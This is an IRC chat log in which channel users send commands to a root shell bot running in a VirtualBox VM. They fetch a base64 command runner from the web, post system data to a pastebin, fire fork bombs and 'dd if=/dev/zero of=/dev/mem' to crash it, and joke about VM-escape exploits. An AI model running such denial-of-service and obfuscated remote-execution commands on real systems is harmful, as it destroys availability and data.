18:46:35 <havocbot> prooftechnique:No manual entry for emacs/No manual entry for |/No manual entry for head
18:46:42 <prooftechnique> Ah, so it is
18:47:00 <prooftechnique> Well, that simply won't do
18:47:19 <prooftechnique> If I can't execute abitrary elisp, what's the point of living?
18:47:20 <int-e> (slightly surprisingly, googling "[-n] [-f mode] [+number] [file ...]" worked)
18:47:29 <int-e> BSD license
18:47:31 <prooftechnique> That's amazing
18:48:21 <b_jonas> havocbot: curl -o /mnt/gentoo/bin http://russell2.math.bme.hu/~ambrus/pu/cu
18:48:22 <havocbot> b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:48:26 <prooftechnique> havocbot: which emerge
18:48:26 <havocbot> prooftechnique:which: no emerge in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
18:48:26 <moon__> google magic
18:48:39 <b_jonas> havocbot: cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:48:40 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: cu: command not found
18:48:45 <moon__> gentoo lacks emerge for no reason
18:48:48 <moon__> add that to the path
18:48:51 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:48:52 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: /mnt/gentoo/bin/cu: No such file or directory
18:49:04 <moon__> havocbot: ls /mnt/gento/bin
18:49:05 <havocbot> moon__:ls: cannot access /mnt/gento/bin: No such file or directory
18:49:11 <b_jonas> havocbot: curl -o /mnt/gentoo/bin/cu http://russell2.math.bme.hu/~ambrus/pu/cu
18:49:12 <havocbot> b_jonas: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:49:12 <b_jonas> duh
18:49:13 <moon__> havocbot: ls /mnt/gentoo/bin
18:49:13 <havocbot> moon__:cu
18:49:15 <b_jonas> havocbot: cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:49:15 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: cu: command not found
18:49:17 <prooftechnique> havocbot: ls /usr/bin
18:49:18 <havocbot> prooftechnique:2to3/2to3-2.7/2to3-3.4/[/a2p/a2x/a2x.py/aconnect/acpi_listen/addr2name/alsamixer/alsaucm/amidi/amixer/aoss/aplay/aplaymidi/apm/apmsleep/apropos/arch/arecord/arecordmidi/arpd/asciidoc/asciidoc.py/aseqdump/aseqnet/aserver/avivotool/awk/b2/b43-fwcutter/base64/basename/bashbug/bc/bjam/bzcmp/bzdiff/bzegrep/bzfgrep/bzgrep/bzip2recover/bzless/bzmore/c2ph/c89/c99/c_rehash/cal/calc_tickadj/captest/captoinfo/catchsegv/catman/cha
18:49:19 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:49:19 <havocbot> b_jonas:./bashbot-master/bashbot: line 170: /mnt/gentoo/bin/cu: Permission denied
18:49:29 <b_jonas> havocbot: chmod -v a+x /mnt/gentoo/bin/cu
18:49:29 <havocbot> b_jonas:mode of '/mnt/gentoo/bin/cu' changed from 0644 (rw-r--r--) to 0755 (rwxr-xr-x)
18:49:32 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyAiaGVsbG8sIHdvcmxkIg
18:49:32 <prooftechnique> havocbot: ls /usr/bin/emerge
18:49:32 <havocbot> b_jonas:hello, world
18:49:32 <havocbot> prooftechnique:ls: cannot access /usr/bin/emerge: No such file or directory
18:49:47 <b_jonas> havocbot: /mnt/gentoo/bin/cu cHdkOyBlY2hvICRQQVRI
18:49:47 <havocbot> b_jonas:/root//usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:50:03 <b_jonas> havocbot: /mnt/gentoo/bin/cu cHdkOyBlY2hvICIgICIgJFBBVEg
18:50:03 <havocbot> b_jonas:/root/ /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4
18:50:10 <prooftechnique> havocbot: ls /etc/portage
18:50:11 <havocbot> prooftechnique:bin/make.conf/make.conf.catalyst/make.conf.old/make.profile/package.mask/package.use/postsync.d/repo.postsync.d/savedconfig
18:50:14 <b_jonas> executes a base64-encoded string with bash by the way
18:50:26 <moon__> neat
18:50:40 <moon__> next up: make it user friendly!
18:50:43 <b_jonas> moon__: yeop
18:50:58 <b_jonas> eg. make another bot that does the base64-encoding and writes to havocbot
18:51:15 <prooftechnique> ls /usr/sbin
18:51:17 <moon__> hmm
18:51:20 <prooftechnique> havocbot: ls /usr/sbin
18:51:20 <havocbot> prooftechnique:accessdb/acpid/addgnupghome/addpart/alsa-info.sh/alsactl/apmd/applygnupgdefaults/backup-tar/backup.sh/biosdecode/build-docbook-catalog/cgdisk/chat/checkarray/chgpasswd/chpasswd/cracklib-check/cracklib-format/cracklib-packer/cracklib-unpacker/crda/create-cracklib-dict/delpart/dmevent_tool/dmidecode/dmraid/dosfsck/dosfslabel/dump-remind/e2freefrag/e4defrag/etc-update/ethtool/exportfs/fatlabel/filefrag/fix_libtool_files.s
18:51:30 <b_jonas> moon__: I'll copy it to some directory in the path if possible though
18:51:40 <moon__> the livecd is locked
18:51:59 <moon__> surely you can base64 encode a command to add it to the path
18:52:12 <b_jonas> moon__: um, but that will persist only in the subshell, so that's pointless
18:52:27 <b_jonas> moon__: I'll check first if any of those directories in the path are writable
18:52:28 <prooftechnique> You can base64 encode a command to write to the profile
18:52:34 <moon__> ^
18:52:42 <b_jonas> oh, it runs the profile?
18:52:44 <b_jonas> no way
18:52:49 <prooftechnique> I have no idea
18:52:56 <b_jonas> well, it could be worth a try
18:52:56 <moon__> me neither
18:52:58 <moon__> lol
18:53:01 <prooftechnique> I don't think so. I tried, but it doesn't seem to work
18:53:08 <prooftechnique> havocbot: cat .profile
18:53:08 <havocbot> prooftechnique:export PATH=$HOME/bin:$PATH
18:53:16 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47190&oldid=47174 * Qwertyu63 * (+1382)
18:53:19 <prooftechnique> I guess you could write to .bashrc
18:53:27 <moon__> mhm
18:53:36 <int-e> havocbot: /mnt/gentoo/bin/cu W91bnQgfCBjdXJsIC1GICdzcHJ1bmdlPTwtJyBodHRwOi8vc3BydW5nZS51cw==
18:53:36 <havocbot> int-e:bash: line 1: $'[\335[\235\b\037\b\030\335\233\b\vQ\210': command not found
18:53:40 <moon__> doesnt bashrc need a reboot?
18:53:41 <b_jonas> prooftechnique: well, worst case is I just copy it to /root and invoke it as ./cu
18:53:50 <int-e> havocbot: /mnt/gentoo/bin/cu bW91bnQgfCBjdXJsIC1GICdzcHJ1bmdlPTwtJyBodHRwOi8vc3BydW5nZS51cw==
18:53:51 <havocbot> int-e: % Total % Received % Xferd Average Speed Time Time Time Current/ Dload Upload Total Spent Left Speed/
18:53:58 <prooftechnique> moon__: Nah, you just have to source it
18:54:02 <int-e> oh hmm.
18:54:06 <moon__> ah
18:54:35 <moon__> it downloaded int-e
18:54:40 <moon__> havocbot: ls
18:54:40 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
18:54:56 <moon__> i think
18:54:59 <prooftechnique> havocbot: find / -name emerge
18:54:59 <havocbot> prooftechnique:/mnt/livecd/usr/lib/python-exec/python2.7/emerge//mnt/livecd/usr/lib/python-exec/python3.4/emerge//mnt/livecd/usr/lib/python2.7/site-packages/portage/tests/emerge//mnt/livecd/usr/lib/python3.4/site-packages/portage/tests/emerge
18:55:05 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gbHMgLWxkICRwO2RvbmU
18:55:05 <havocbot> b_jonas:ls: cannot access /usr/local/sbin: No such file or directory/ls: cannot access /usr/local/bin: No such file or directory/drwxr-xr-x 2 root root 3223 Aug 4 2015 /usr/sbin/drwxr-xr-x 2 root root 11193 Aug 4 2015 /usr/bin/lrwxrwxrwx 1 root root 16 Jun 10 03:05 /sbin -> /mnt/livecd/sbin/lrwxrwxrwx 1 root root 15 Jun 10 03:05 /bin -> /mnt/livecd/bin/ls: cannot access /opt/bin: No such file or directory/ls: cannot access /usr/i
18:55:13 <int-e> havocbot: curl --version
18:55:14 <havocbot> int-e:curl 7.43.0 (i486-pc-linux-gnu) libcurl/7.43.0 OpenSSL/1.0.1p zlib/1.2.8/Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smtp smtps telnet tftp /Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
18:55:35 <prooftechnique> havocbot: find /mnt/gentoo -name emerge
18:55:46 <moon__> gentoo is just the drive name
18:56:13 <moon__> shall we try a stage tarball?
18:56:23 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1
18:56:23 <havocbot> b_jonas:bash: -c: line 1: syntax error: unexpected end of file
18:56:24 <prooftechnique> I think it's worth a shot
18:56:28 <prooftechnique> You should snapshot now
18:56:29 <moon__> put it in the gentoo drive tho
18:56:39 <int-e> havocbot: /mnt/gentoo/bin/cu bW91bnQgfCBjdXJsIC1zRiAnc3BydW5nZT08LScgaHR0cDovL3NwcnVuZ2UudXM=
18:56:40 <havocbot> int-e:http://sprunge.us/iALY
18:56:44 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztkb25lO2RvbmU
18:56:49 <moon__> snapshotting!
18:56:51 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `done'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;done;done'
18:57:01 <moon__> dur done
18:57:25 <moon__> this base64 system really helps actually
18:58:50 <int-e> moon__: anyway it wasn't downloading, it was posting to sprunge... but apparently that curl is verbose by default
18:59:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztkb25lO2RvbmU
18:59:38 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `done'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;done;done'
18:59:53 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l
18:59:53 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;fi;done'
19:00:18 <moon__> for best results on somehting lon
19:00:20 <moon__> g
19:00:25 <moon__> just wget it
19:00:35 <b_jonas> havocbot:/mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l
19:00:46 <b_jonas> moon__: yes, but this isn't long
19:00:54 <b_jonas> moon__: sorry, I'm just slow because of real life stuff
19:00:59 <b_jonas> you have to be patient
19:00:59 <moon__> oh
19:01:06 <b_jonas> so the space is required too?
19:01:14 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O2VjaG8gIiBzdWNjZXNzICRwIjticmVhaztmaTtkb25l
19:01:15 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do if cp -vt "$p" /mnt/gentoo/bin/cu;echo " success $p";break;fi;done'
19:01:21 <moon__> oh, dont write to root, by the way
19:01:23 <prooftechnique> Also, there must be a better way to deal with all this than $@ :|
19:01:25 <moon__> thats all in memory
19:01:30 <prooftechnique> I at least want more sensible quote handling
19:01:33 <int-e> havocbot: cp /mnt/gentoo/bin/cu /
19:01:39 <b_jonas> prooftechnique: don't worry, we'll bootstrap one
19:01:42 <b_jonas> prooftechnique: just give us time
19:01:46 <int-e> havocbot: /cu
19:01:50 <b_jonas> prooftechnique: it has unrestricted net access, we can upload a new bot
19:02:12 <b_jonas> prooftechnique: I might do it, or int-e might, but like I said, real world stuff intervenes
19:02:16 <prooftechnique> I think we could make the bots fight for dominance over the havocbot personality
19:02:23 <moon__> yea, im terrible at even necromancy on someone elses bot
19:02:30 <b_jonas> so why's that a syntax error? oh missing then
19:02:32 <int-e> I won't. But may I say that this looks like an insanely stupid idea...
19:02:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gaWYgY3AgLXZ0ICIkcCIgL21udC9nZW50b28vYmluL2N1O3RoZW4gZWNobyAiIHN1Y2Nlc3MgJHAiO2JyZWFrO2ZpO2RvbmU=
19:02:39 <havocbot> b_jonas:cp: failed to access '/usr/local/sbin': No such file or directory/cp: failed to access '/usr/local/bin': No such file or directory/'/mnt/gentoo/bin/cu' -> '/usr/sbin/cu'/cp: cannot create regular file '/usr/sbin/cu': Read-only file system/'/mnt/gentoo/bin/cu' -> '/usr/bin/cu'/cp: cannot create regular file '/usr/bin/cu': Read-only file system/'/mnt/gentoo/bin/cu' -> '/sbin/cu'/cp: cannot create regular file '/sbin/cu': Read-o
19:02:52 <b_jonas> int-e: which idea looks like that?
19:03:08 <int-e> havocbot: /cu ZWNobyBIaQ==
19:03:08 <havocbot> int-e:Hi
19:03:17 <int-e> running such an unrestricted bot.
19:03:30 <moon__> its in virtualbox and i host no servers
19:03:30 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gLWYgIiRwL2N1IiAmJiBscyAtbGQgIiRwL2N1IjtmaTtkb25l
19:03:31 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `fi'/bash: -c: line 0: `IFS=:;for p in $PATH;do -f "$p/cu" && ls -ld "$p/cu";fi;done'
19:03:35 <prooftechnique> int-e: I already predicted 30 days from inception to botnet, and that was hedging my bets by a very wide margin
19:03:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gLWYgIiRwL2N1IiAmJiBscyAtbGQgIiRwL2N1Ijtkb25l
19:03:38 <havocbot> b_jonas:bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found/bash: -f: command not found
19:03:48 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gdGVzdCAtZiAiJHAvY3UiICYmIGxzIC1sZCAiJHAvY3UiO2RvbmU=
19:04:03 <b_jonas> int-e: that works too
19:04:06 <int-e> moon__: the problem is the unrestricted net access
19:04:08 <moon__> if its broken, i revive from a snapshot of a almost untouched version
19:04:10 <b_jonas> um
19:04:15 <moon__> how so?
19:04:17 <b_jonas> hello?
19:04:21 <int-e> it's open to abuse
19:04:24 <b_jonas> oh, that means no
19:04:32 <b_jonas> int-e: yep, start to install our botnets
19:04:41 <b_jonas> havocbot: /mnt/gentoo/bin/cu SUZTPTo7Zm9yIHAgaW4gJFBBVEg7ZG8gdGVzdCAtZiAiJHAvY3UiICYmIGxzIC1sZCAiJHAvY3UiO2RvbmU7ZWNobyBub3QgZm91bmQ=
19:04:41 <havocbot> b_jonas:not found
19:04:45 <b_jonas> pity
19:04:50 <moon__> generally, i will snapshot back if someone decides to do such a thing
19:05:04 <moon__> or even just dump the net access
19:05:18 <b_jonas> moon__: yes, that's why I STARTED with a universal interpreter
19:05:28 <b_jonas> so that everything else becomes easier to bootstrap without net access
19:05:42 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxGIH4vLio=
19:05:44 <havocbot> b_jonas:-rw-r--r-- 1 root root 113 Aug 4 2015 /root/.bash_profile/-rw-r--r-- 1 root root 221 Aug 4 2015 /root/.bashrc/-rw-r--r-- 1 root root 0 Jul 28 2015 /root/.keep/-rw-r--r-- 1 root root 28 Jun 10 03:39 /root/.profile///root/.:/total 140/-rw-r--r-- 1 root root 48 Jun 10 03:24 CZvHsfqv/-rw-r--r-- 1 root root 62 Jun 10 03:24 HgsSBDzp/drwxr-xr-x 4 root root 140 Jul 23 2012 bashbot-master//-rw-r--r-- 1 root roo
19:05:57 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:06:01 <moon__> if net access gets out of hand, i will take it off
19:06:12 <b_jonas> havocbot: /cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:06:18 <b_jonas> huh
19:06:26 <b_jonas> havocbot: /cu bHMgLWxkRiB+LyogfCB0ciBcXG4gXCA=
19:06:26 <moon__> please
19:06:36 <moon__> by putting it in root you are wasting hardware memory
19:06:43 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:06:45 <moon__> anything in root is directly on the ram
19:06:56 <b_jonas> moon__: what?
19:07:03 <moon__> root is not physical
19:07:06 <b_jonas> havocbot: ls -l /mnt/gentoo/bin/cu
19:07:07 <havocbot> b_jonas:-rwxr-xr-x 1 root root 108 Jun 10 04:15 /mnt/gentoo/bin/cu
19:07:12 <b_jonas> moon__: ^ it's THAT big
19:07:14 <b_jonas> 108 bytes
19:07:15 <b_jonas> horrible
19:07:29 <moon__> lol
19:07:42 <moon__> you have mem left, go ahead
19:07:43 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgLWxkRiB+Ly4qIHwgdHIgXFxuIFwg
19:08:00 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZnJlZQ==
19:08:01 <havocbot> b_jonas: total used free shared buffers cached/Mem: 900880 281268 619612 62412 25540 191768/-/+ buffers/cache: 63960 836920/Swap: 0 0 0
19:08:15 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZnJlZSB8IHRyIFxcbiBcIA==
19:08:31 <b_jonas> havocbot: /mnt/gentoo/bin/cu Y3AgLXZpIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:08:37 <moon__> you could write code to cycle through each line
19:08:46 <b_jonas> havocbot: /cu ZnJlZSB8IHRyIFxcbiBcIA==
19:08:49 * prooftechnique .oO(wonders if there are any open VirtualBox CVEs)
19:08:49 <moon__> to make certain outputs easier to read
19:08:58 <int-e> havocbot: df /mnt/gentoo/bin | tail -1
19:08:58 <b_jonas> moon__: sure, we could do that later
19:08:58 <havocbot> int-e:df: invalid option -- '1'/Try 'df --help' for more information.
19:09:01 <b_jonas> but first things first
19:09:18 <b_jonas> havocbot: /mnt/gentoo/bin/cu Y3AgLXZpIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:09:24 <b_jonas> hallo?
19:09:27 <b_jonas> what's wrong?
19:09:33 <int-e> havocbot: /mnt/gentoo/bin/cu ZGYgL21udC9nZW50b28vYmluIHwgdGFpbCAtMQ==
19:09:34 <havocbot> int-e:tmpfs 450440 62012 388428 14% /
19:09:35 <moon__> nothing
19:09:40 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobywgaGk=
19:09:42 <int-e> thought so.
19:09:49 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyBoaQ==
19:09:49 <havocbot> b_jonas:hi
19:10:01 <int-e> moon__: as you can see, putting it in / is no worse than putting it in /mnt/gentoo/bin
19:10:13 <moon__> true
19:10:14 <moon__> lol
19:10:16 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZWNobyBoaQ==havocbot: /mnt/gentoo/bin/cu Y3AgLXZmIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:10:16 <havocbot> b_jonas:bash: -c: line 0: syntax error near unexpected token `)'/bash: -c: line 0: `echo hiþiíþ§¶Š?n)ÿrcp -vf /mnt/gentoo/bin/cu /cu'
19:10:25 <b_jonas> havocbot: /mnt/gentoo/bin/cu Y3AgLXZmIC9tbnQvZ2VudG9vL2Jpbi9jdSAvY3U=
19:10:25 <havocbot> b_jonas:'/mnt/gentoo/bin/cu' -> '/cu'
19:10:26 <moon__> ouch
19:10:33 <moon__> decoding errors
19:10:38 <b_jonas> havocbot: /mnt/gentoo/bin/cu ZnJlZQ==
19:10:38 <havocbot> b_jonas: total used free shared buffers cached/Mem: 900880 281912 618968 62412 25592 191892/-/+ buffers/cache: 64428 836452/Swap: 0 0 0
19:10:57 <moon__> dynamic drive
19:11:07 <b_jonas> ok, now let's make it one more convenient, by redirecting stderr to stdout, transliterating newlines to spaces, and adding "No output." if there's no output
19:11:10 <int-e> look also at the mounts: http://sprunge.us/iALY ... anything writeable seems to be a tmpfs.
19:11:12 <moon__> if im reading that correctly, thats the explination
19:11:17 <moon__> stderr goes to stdout
19:11:19 <moon__> already
19:12:05 <moon__> the bot redirects it
19:12:11 <prooftechnique> havocbot: bash -c echo{$LANG,$LC_ALL}
19:12:17 <hppavilion[1]> moon__: stdyay goes to stdout too
19:12:58 <b_jonas> moon__: and if you're worried about the RAM, then we could create a swap file somewhere
19:12:58 <b_jonas> and attach it
19:12:58 <b_jonas> with mkswap and swapon
19:12:58 <b_jonas> moon__: where should we put the large files?
19:13:00 <havocbot> prooftechnique:echo
19:13:14 <moon__> in mnt/gentoo
19:13:17 <prooftechnique> havocbot: bash -c echo{,$LC_CTYPE}
19:13:27 <moon__> thats where large files go
19:13:30 <hppavilion[1]> Yay! A new baut~
19:13:31 <hppavilion[1]> *!
19:13:34 <hppavilion[1]> Whatsit do?
19:13:41 <moon__> gentoo bot
19:13:42 <int-e> it breaks the internet
19:13:49 <prooftechnique> Slow down suddenly, apparently
19:13:52 <moon__> internet access and root
19:14:13 <moon__> it crashed
19:14:18 <b_jonas> moon__: it doesn't
19:14:19 <b_jonas> at least so it seemed to me
19:14:19 <b_jonas> oh wait
19:14:19 <b_jonas> it does
19:14:20 <prooftechnique> But wacky command handling, so it took like half an hour to fork bomb it to death
19:14:20 <b_jonas> ok, then just transliterate the newlines to spaces or something
19:14:21 <b_jonas> or let's just upload a better irc bot
19:14:22 -!- havocbot has quit (Remote host closed the connection).
19:14:31 -!- havocbot has joined.
19:14:32 <prooftechnique> Because I'm not clever
19:14:46 <moon__> newlines already go to spaces b_jonas
19:14:50 -!- hwpplayer1 has joined.
19:15:27 <moon__> snapshotted
19:15:51 <moon__> current system state can now be recovered
19:15:52 -!- cnr has quit (Ping timeout: 244 seconds).
19:15:59 -!- cnr has joined.
19:15:59 -!- cnr has quit (Changing host).
19:15:59 -!- cnr has joined.
19:16:02 <b_jonas> havocbot: /mnt/gentoo/bin/cu bHMgfCB0ciBcXG4gXCA=
19:16:02 <b_jonas> wait, you brought it down?
19:16:02 <b_jonas> havocbot: /cu bHMgfCB0ciBcXG4gXCA=
19:16:08 <b_jonas> moon__: ?
19:16:08 <moon__> no
19:16:13 <moon__> havocbot: ls
19:16:13 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
19:16:15 <prooftechnique> havocbot: which cu
19:16:16 <havocbot> prooftechnique:which: no cu in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin:/usr/i486-pc-linux-gnu/gcc-bin/4.8.4)
19:16:19 <moon__> still fast
19:16:50 <int-e> havocbot: which perl
19:16:50 <havocbot> int-e:/usr/bin/perl
19:16:52 <b_jonas> prooftechnique: /cu
19:17:01 <b_jonas> havocbot: /cu bHMgfCB0ciBcXG4gXCA=
19:17:14 <int-e> have we fork bombed the thing?
19:17:17 <moon__> n
19:17:18 <moon__> no
19:17:23 <prooftechnique> int-e: First thing I did
19:17:26 <moon__> 0.5-1 cpu
19:17:29 <prooftechnique> havocbot: cat fork.sh
19:17:29 <havocbot> prooftechnique:cat: fork.sh: No such file or directory
19:17:40 <moon__> its gone missing (=
19:17:41 <prooftechnique> Oh, but it didn't get snapshotted, for obvious reasons
19:17:58 <moon__> yea
19:18:00 <prooftechnique> havocbot: perl -r 'fork while fork' &
19:18:01 <havocbot> prooftechnique:Unrecognized switch: -r (-h will show valid options).
19:18:15 <moon__> DO YOUWANT ME TO FLAY YOU ALIVE?
19:18:16 <prooftechnique> havocbot: perl -e 'fork while fork' &
19:18:16 <havocbot> prooftechnique:Can't find string terminator "'" anywhere before EOF at -e line 1.
19:18:23 <prooftechnique> I knew it wasn't gonna work :P
19:18:29 <prooftechnique> Your string handling is bizarre
19:18:35 <int-e> havocbot: /cu OigpeyA6fDo7fTs6
19:18:37 <moon__> its not my fault
19:18:44 <moon__> its "$cmd" "$@" 's fault
19:18:51 <b_jonas> havocbot: /cu dW5hbWUgLWE=
19:19:03 <moon__> havocbot: file /cu
19:19:18 <b_jonas> prooftechnique: don't worry, we can just upload a new irc bot
19:19:19 <int-e> I think it's busy.
19:19:23 <prooftechnique> Have we properly install Gentoo, yet?
19:19:26 <prooftechnique> *installed
19:19:29 <b_jonas> prooftechnique: no idea
19:19:32 <moon__> you bombed it
19:19:33 <moon__> no
19:19:35 <moon__> livecd
19:19:40 -!- havocbot has quit (Read error: Connection reset by peer).
19:19:40 <b_jonas> prooftechnique: we have root, we can install anything
19:19:58 <moon__> *flays prooftechnique and prepares the ignore list, as he broke his promise*
19:20:02 <prooftechnique> I just think portage would make our lives easier in the quest to fuck up this bot
19:20:09 <prooftechnique> What, I did no such thing
19:20:12 <prooftechnique> The perl didn't even work
19:20:38 <moon__> apparently it did
19:20:47 <int-e> assumptions, assumptions.
19:20:55 <b_jonas> prooftechnique: you can curl then chmod anything
19:20:59 <b_jonas> that's how I created cu
19:21:06 <moon__> restoring
19:21:27 <moon__> now, can i flay you alive prooftechnique?
19:21:35 <prooftechnique> moon__: If it gave me that error message, it didn't work, moon__
19:21:41 <prooftechnique> *-moon__
19:21:48 <prooftechnique> Too many moons
19:22:01 <moon__> eheheheh
19:22:14 -!- havocbot has joined.
19:22:31 <int-e> havocbot: file /cu
19:22:32 <havocbot> int-e:/cu: Perl script, ASCII text executable
19:22:37 <int-e> havocbot: sleep 86400
19:22:45 <moon__> havocbot: ls
19:22:45 <havocbot> moon__:CZvHsfqv/HgsSBDzp/bashbot-master/bashbot.config/bashbot.pid/bin/master.zip/rCu7GHCY/train.jpg
19:22:46 <int-e> havocbot: echo Hi
19:22:46 <havocbot> int-e:Hi
19:22:48 <prooftechnique> havocbot: echo hiya
19:22:48 <moon__> nice try
19:22:48 <havocbot> prooftechnique:hiya
19:23:00 <int-e> havocbot: ps | grep sleep
19:23:00 <havocbot> int-e:error: garbage option//Usage:/ ps [options]// Try 'ps --help <simple|list|output|threads|misc|all>'/ or 'ps --help <s|l|o|t|m|a>'/ for additional help text.//For more details see ps(1).
19:23:02 <moon__> subshells rock
19:23:27 <prooftechnique> havocbot: which grep
19:23:28 <havocbot> prooftechnique:/bin/grep
19:23:32 <int-e> havocbot: /cu cHMgfCBncmVwIHNsZWVw
19:23:33 <havocbot> int-e:14838 tty1 00:00:00 sleep
19:23:34 <moon__> but sometimes they cause my bot to fall like a rock -.-
19:23:35 <prooftechnique> Well, at least it has grep, now
19:23:56 <moon__> the livecd always had it
19:24:51 <int-e> how else do you kill a linux system, hmm
19:24:56 <moon__> ...
19:24:57 <moon__> dont
19:25:07 <moon__> or i will make a ignore list
19:25:17 <prooftechnique> Next steps are escaping the VM and touching moon__'s precious files
19:25:33 <int-e> havocbot: dd if=/dev/zero of=/dev/mem
19:25:46 <moon__> i never gave it external perms
19:25:57 <int-e> havocbot: echo Hi
19:26:00 <moon__> so that will be kinda hard :P
19:26:05 <moon__> ill prepare a landing pad
19:26:07 <int-e> thought so :P
19:26:10 <moon__> full of cuss words
19:26:13 <prooftechnique> moon__: I'm willing to bet there's an open CVE that doesn't care what you set :D
19:27:04 <moon__> funfact: none exist for the latest version as of now
19:27:36 <prooftechnique> havocbot: uname -a
19:27:57 <moon__> critical error occured
19:28:05 <prooftechnique> havocbot: which uname
19:28:22 -!- havocbot has quit (Remote host closed the connection).
19:28:25 <prooftechnique> I believe that may be down to int-e's dd
19:28:27 <moon__> RESOTRING
19:28:59 <int-e> prooftechnique: I had never tried that command before ;)
19:29:35 <moon__> please dont do it again
19:29:54 <int-e> but it should, eventually, scrub the memory of something important... kernel, init, process tables, or some page tables, who knows.
19:30:00 <moon__> until you all stop the antics, no snapshots
19:30:00 -!- havocbot has joined.
19:30:04 <shachaf> This bot is so spammy.
19:30:15 <moon__> because everyone is spamming :P
19:30:30 <prooftechnique> havocbot: wget -O msfinstall https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb
19:30:37 <moon__> its just re- no
